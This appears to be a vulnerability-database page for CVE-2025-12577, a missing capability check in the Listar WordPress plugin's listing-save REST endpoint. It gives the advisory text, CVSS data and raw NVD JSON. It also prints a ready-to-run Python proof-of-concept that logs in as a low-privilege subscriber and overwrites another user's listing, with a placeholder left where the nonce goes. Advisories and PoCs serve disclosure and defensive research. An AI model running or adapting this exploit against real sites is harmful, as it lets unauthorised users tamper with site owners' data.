Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-12577 CVSS 4.3 MEDIUM

CVE-2025-12577

Published: 2025-12-06 06:15:50
Last Modified: 2026-04-15 00:35:42

Description

The Listar – Directory Listing & Classifieds WordPress Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the '/wp-json/listar/v1/place/save' REST API endpoint in all versions up to, and including, 3.0.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update listing details.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Listar WordPress Plugin <= 3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12577 PoC - Listar WordPress Plugin Unauthorized Data Modification Target: WordPress site with Listar plugin <= 3.0.0 Author: Security Researcher Note: For authorized testing only """ import requests import json import sys def exploit_cve_2025_12577(target_url, username, password, listing_id): """ Exploit the missing capability check in Listar REST API endpoint. Args: target_url: Base URL of the WordPress site username: Valid WordPress username (subscriber level or higher) password: Password for the user listing_id: ID of the listing to modify """ session = requests.Session() # Step 1: Authenticate and get nonce auth_url = f"{target_url}/wp-login.php" auth_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In' } print(f"[*] Authenticating as {username}...") resp = session.post(auth_url, data=auth_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Get REST API nonce from the page nonce_url = f"{target_url}/wp-admin/admin-ajax.php?action=listar_nonce" nonce_resp = session.get(nonce_url) # Try to extract nonce from page source if available api_url = f"{target_url}/wp-json/listar/v1/place/save" # Step 3: Craft the malicious request to modify listing # The vulnerable endpoint lacks capability check exploit_data = { 'id': listing_id, 'title': 'MODIFIED BY CVE-2025-12577 PoC', 'description': 'This listing was modified by an unauthorized user', 'status': 'publish' } headers = { 'Content-Type': 'application/json', 'X-WP-Nonce': 'extracted_nonce_here' # Replace with actual nonce } print(f"[*] Sending exploit request to {api_url}...") resp = session.post(api_url, json=exploit_data, headers=headers) if resp.status_code in [200, 201]: print("[+] Listing successfully modified!") print(f"[+] Response: {resp.text}") return True else: print(f"[-] Exploit failed with status code: {resp.status_code}") print(f"[-] Response: {resp.text}") return False if __name__ == '__main__': if len(sys.argv) < 5: print("Usage: python cve-2025-12577.py <target_url> <username> <password> <listing_id>") print("Example: python cve-2025-12577.py http://example.com attacker password 123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] lid = sys.argv[4] exploit_cve_2025_12577(target, user, pwd, lid)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12577", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:50.070", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Listar – Directory Listing & Classifieds WordPress Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the '/wp-json/listar/v1/place/save' REST API endpoint in all versions up to, and including, 3.0.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update listing details."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://wordpress.org/plugins/listar-directory-listing/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a063fab3-6d52-4f2a-b51f-b76fa2d4711c?source=cve", "source": "[email protected]"}]}}